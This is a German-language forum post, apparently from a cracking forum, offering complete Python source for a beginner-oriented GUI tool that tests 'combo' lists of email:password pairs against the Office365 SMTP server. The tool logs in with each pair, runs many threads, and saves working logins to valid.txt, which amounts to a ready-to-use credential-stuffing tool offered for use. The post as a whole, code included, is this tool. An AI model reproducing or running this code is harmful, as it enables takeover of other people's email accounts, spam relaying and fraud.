Jump to content

⚡ Noob-Friendly SMTP Checker (Nur für Office365 Host)


  • Reply to this topic
  • Start new topic

Recommended Posts

Dieser SMTP Checker wurde speziell für Anfänger (Noob Friendly) entwickelt und funktioniert ausschließlich mit dem Office365 SMTP Host.
👉 Nur für: smtp.office365.com
Nicht für andere SMTP Hosts geeignet

Features:
Sehr einfache Nutzung – Combo laden & Start klicken
Multithreading für schnelle Ergebnisse
Live Stats: Valid / Invalid / Checked
Fortschrittsanzeige + Log Fenster
Speichert gültige Logins automatisch in valid.txt
Bereinigt die Combo von ungültigen Einträgen
Modernes Dark GUI (Tkinter)

📌 SMTP Einstellungen:

  • Host: smtp.office365.com
  • Port: 587
  • Security: STARTTLS
  • Threads frei einstellbar

💡 Perfekt für Anfänger, die Office365 SMTP Combos schnell und übersichtlich prüfen wollen.

erstellt von von mir Kaban

import smtplib
import threading
import os
import sys
import tkinter as tk
from tkinter import ttk, filedialog, scrolledtext
from queue import Queue, Empty
from datetime import datetime

# ─── Defaults ─────────────────────────────────────────────────────────────────
SMTP_SERVER  = "smtp.office365.com"
SMTP_PORT    = 587
DEFAULT_THREADS = 10
TIMEOUT      = 10
# ──────────────────────────────────────────────────────────────────────────────


def check_smtp(username: str, password: str) -> bool:
    try:
        with smtplib.SMTP(SMTP_SERVER, SMTP_PORT, timeout=TIMEOUT) as server:
            server.ehlo()
            server.starttls()
            server.ehlo()
            server.login(username, password)
        return True
    except smtplib.SMTPAuthenticationError:
        return False
    except Exception:
        return False


class App(tk.Tk):
    def __init__(self):
        super().__init__()
        self.title("SMTP Checker — smtp.office365.com")
        self.resizable(True, True)
        self.configure(bg="#1e1e2e")
        self.minsize(720, 520)

        # State
        self._running    = False
        self._stop_event = threading.Event()
        self._log_queue  = Queue()
        self._valid_lines = []
        self._total      = 0
        self._checked    = 0
        self._valid      = 0
        self._invalid    = 0
        self._input_file = tk.StringVar()
        self._valid_path = ""
        self._file_lock  = threading.Lock()

        self._build_ui()
        self._poll_log()

    # ── UI Construction ────────────────────────────────────────────────────────

    def _build_ui(self):
        PAD = dict(padx=10, pady=6)

        # ── Top bar: file picker ──────────────────────────────────────────────
        top = tk.Frame(self, bg="#1e1e2e")
        top.pack(fill="x", **PAD)

        tk.Label(top, text="Combo File:", fg="#cdd6f4", bg="#1e1e2e",
                 font=("Consolas", 10)).pack(side="left")

        tk.Entry(top, textvariable=self._input_file, width=48,
                 bg="#313244", fg="#cdd6f4", insertbackground="#cdd6f4",
                 relief="flat", font=("Consolas", 10)).pack(side="left", padx=6)

        tk.Button(top, text="Browse", command=self._browse,
                  bg="#45475a", fg="#cdd6f4", relief="flat",
                  activebackground="#585b70", cursor="hand2",
                  font=("Consolas", 10)).pack(side="left")

        # ── Thread count ─────────────────────────────────────────────────────
        cfg = tk.Frame(self, bg="#1e1e2e")
        cfg.pack(fill="x", padx=10, pady=2)

        tk.Label(cfg, text="Threads:", fg="#cdd6f4", bg="#1e1e2e",
                 font=("Consolas", 10)).pack(side="left")
        self._threads_var = tk.IntVar(value=DEFAULT_THREADS)
        tk.Spinbox(cfg, from_=1, to=50, textvariable=self._threads_var,
                   width=5, bg="#313244", fg="#cdd6f4",
                   buttonbackground="#45475a", relief="flat",
                   font=("Consolas", 10)).pack(side="left", padx=6)

        # ── Action buttons ────────────────────────────────────────────────────
        btn_frame = tk.Frame(self, bg="#1e1e2e")
        btn_frame.pack(fill="x", padx=10, pady=4)

        self._btn_start = tk.Button(btn_frame, text="▶  Start",
                                    command=self._start,
                                    bg="#a6e3a1", fg="#1e1e2e", relief="flat",
                                    activebackground="#94e2d5", cursor="hand2",
                                    font=("Consolas", 11, "bold"), width=12)
        self._btn_start.pack(side="left", padx=(0, 8))

        self._btn_stop = tk.Button(btn_frame, text="■  Stop",
                                   command=self._stop,
                                   bg="#f38ba8", fg="#1e1e2e", relief="flat",
                                   activebackground="#eba0ac", cursor="hand2",
                                   font=("Consolas", 11, "bold"), width=12,
                                   state="disabled")
        self._btn_stop.pack(side="left")

        # ── Stats bar ─────────────────────────────────────────────────────────
        stats = tk.Frame(self, bg="#181825", pady=8)
        stats.pack(fill="x", padx=10, pady=(4, 0))

        def stat_box(parent, label, color):
            f = tk.Frame(parent, bg="#181825")
            f.pack(side="left", expand=True, fill="x", padx=12)
            tk.Label(f, text=label, fg="#6c7086", bg="#181825",
                     font=("Consolas", 9)).pack()
            var = tk.StringVar(value="0")
            tk.Label(f, textvariable=var, fg=color, bg="#181825",
                     font=("Consolas", 18, "bold")).pack()
            return var

        self._sv_total   = stat_box(stats, "TOTAL",   "#89b4fa")
        self._sv_checked = stat_box(stats, "CHECKED", "#cba6f7")
        self._sv_valid   = stat_box(stats, "VALID",   "#a6e3a1")
        self._sv_invalid = stat_box(stats, "INVALID", "#f38ba8")

        # ── Progress bar ──────────────────────────────────────────────────────
        pb_frame = tk.Frame(self, bg="#1e1e2e")
        pb_frame.pack(fill="x", padx=10, pady=(4, 0))

        style = ttk.Style(self)
        style.theme_use("clam")
        style.configure("green.Horizontal.TProgressbar",
                         troughcolor="#313244", background="#a6e3a1",
                         bordercolor="#1e1e2e", lightcolor="#a6e3a1",
                         darkcolor="#a6e3a1")

        self._progress = ttk.Progressbar(pb_frame, style="green.Horizontal.TProgressbar",
                                         orient="horizontal", mode="determinate",
                                         length=700)
        self._progress.pack(fill="x")

        self._pct_var = tk.StringVar(value="0%")
        tk.Label(self, textvariable=self._pct_var, fg="#6c7086", bg="#1e1e2e",
                 font=("Consolas", 9)).pack(anchor="e", padx=14)

        # ── Log output ────────────────────────────────────────────────────────
        log_frame = tk.Frame(self, bg="#1e1e2e")
        log_frame.pack(fill="both", expand=True, padx=10, pady=(4, 10))

        self._log = scrolledtext.ScrolledText(
            log_frame, bg="#11111b", fg="#cdd6f4",
            font=("Consolas", 9), relief="flat",
            state="disabled", wrap="none"
        )
        self._log.pack(fill="both", expand=True)

        self._log.tag_config("valid",   foreground="#a6e3a1")
        self._log.tag_config("invalid", foreground="#f38ba8")
        self._log.tag_config("info",    foreground="#89b4fa")
        self._log.tag_config("error",   foreground="#fab387")

        # ── Status bar ────────────────────────────────────────────────────────
        self._status = tk.StringVar(value="Bereit.")
        tk.Label(self, textvariable=self._status, fg="#6c7086", bg="#181825",
                 font=("Consolas", 9), anchor="w").pack(
            fill="x", padx=10, pady=(0, 4))

    # ── Helpers ────────────────────────────────────────────────────────────────

    def _browse(self):
        path = filedialog.askopenfilename(
            title="Combo-Datei auswählen",
            filetypes=[("Text files", "*.txt"), ("All files", "*.*")]
        )
        if path:
            self._input_file.set(path)

    def _log_write(self, msg: str, tag: str = ""):
        self._log_queue.put((msg, tag))

    def _poll_log(self):
        """Drains the log queue and writes to the widget (main thread only)."""
        try:
            while True:
                msg, tag = self._log_queue.get_nowait()
                self._log.configure(state="normal")
                ts = datetime.now().strftime("%H:%M:%S")
                self._log.insert("end", f"[{ts}] {msg}\n", tag or None)
                self._log.configure(state="disabled")
                self._log.see("end")
        except Empty:
            pass
        self.after(80, self._poll_log)

    def _update_stats(self):
        self._sv_total.set(str(self._total))
        self._sv_checked.set(str(self._checked))
        self._sv_valid.set(str(self._valid))
        self._sv_invalid.set(str(self._invalid))
        if self._total > 0:
            pct = int(self._checked / self._total * 100)
            self._progress["value"] = pct
            self._pct_var.set(f"{pct}%")

    # ── Core logic ─────────────────────────────────────────────────────────────

    def _start(self):
        input_file = self._input_file.get().strip()
        if not input_file:
            self._log_write("Bitte zuerst eine Combo-Datei auswählen.", "error")
            return
        if not os.path.isfile(input_file):
            self._log_write(f"Datei nicht gefunden: {input_file}", "error")
            return

        with open(input_file, "r", encoding="utf-8", errors="ignore") as fh:
            lines = [l.strip() for l in fh if l.strip()]

        if not lines:
            self._log_write("Die Datei ist leer.", "error")
            return

        # Reset state
        self._running     = True
        self._stop_event.clear()
        self._valid_lines = []
        self._total       = len(lines)
        self._checked     = 0
        self._valid       = 0
        self._invalid     = 0
        self._update_stats()
        self._progress["value"] = 0
        self._pct_var.set("0%")

        self._valid_path = os.path.join(os.path.dirname(os.path.abspath(input_file)), "valid.txt")

        self._btn_start.configure(state="disabled")
        self._btn_stop.configure(state="normal")
        self._status.set(f"Läuft … {self._total} Einträge")

        self._log_write(f"Start — {self._total} Einträge, {self._threads_var.get()} Threads", "info")
        self._log_write(f"Valide Funde → {self._valid_path}", "info")

        threading.Thread(target=self._run_check, args=(lines, input_file),
                          daemon=True).start()

    def _stop(self):
        self._stop_event.set()
        self._status.set("Wird gestoppt …")
        self._log_write("Stopp angefordert.", "info")

    def _worker(self, queue: Queue):
        while not self._stop_event.is_set():
            try:
                item = queue.get(timeout=0.5)
            except Empty:
                break
            if item is None:
                break

            line   = item.strip()
            parts  = line.split(":", 2)   # maxsplit=2 → Passwort darf : enthalten

            if len(parts) == 3:
                _, username, password = parts
            elif len(parts) == 2:
                username, password = parts
            else:
                queue.task_done()
                continue

            username = username.strip()
            password = password.strip()

            result = check_smtp(username, password)

            # Thread-safe stat update
            self._checked += 1
            if result:
                self._valid += 1
                self._valid_lines.append(line)
                self._log_write(f"VALID    {username}:{password}", "valid")
                # Sofort in Datei schreiben
                with self._file_lock:
                    with open(self._valid_path, "a", encoding="utf-8") as fh:
                        fh.write(line + "\n")
            else:
                self._invalid += 1
                self._log_write(f"INVALID  {username}:{password}", "invalid")

            # Schedule GUI update on main thread
            self.after(0, self._update_stats)
            queue.task_done()

    def _run_check(self, lines: list, input_file: str):
        queue = Queue()
        for line in lines:
            queue.put(line)

        n_threads = self._threads_var.get()
        workers   = []
        for _ in range(n_threads):
            t = threading.Thread(target=self._worker, args=(queue,), daemon=True)
            t.start()
            workers.append(t)

        # Sentinel values
        for _ in range(n_threads):
            queue.put(None)

        for t in workers:
            t.join()

        # Save results (main-thread-safe because workers are done)
        self._save_results(input_file)
        self.after(0, self._on_done)

    def _save_results(self, input_file: str):
        # valid.txt wurde bereits live geschrieben — nur combo bereinigen
        with open(input_file, "w", encoding="utf-8") as fh:
            if self._valid_lines:
                fh.write("\n".join(self._valid_lines) + "\n")

        self._log_write(f"Combo bereinigt — {self._invalid} Einträge entfernt", "info")

    def _on_done(self):
        self._running = False
        stopped = self._stop_event.is_set()
        self._btn_start.configure(state="normal")
        self._btn_stop.configure(state="disabled")
        label = "Gestoppt" if stopped else "Fertig"
        self._status.set(
            f"{label} — Valid: {self._valid}  Invalid: {self._invalid}  "
            f"Checked: {self._checked}/{self._total}"
        )
        self._log_write(
            f"{label} | Valid: {self._valid} | Invalid: {self._invalid} | "
            f"Checked: {self._checked}/{self._total}",
            "info"
        )
        self._update_stats()


if __name__ == "__main__":
    app = App()
    app.mainloop()

 

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...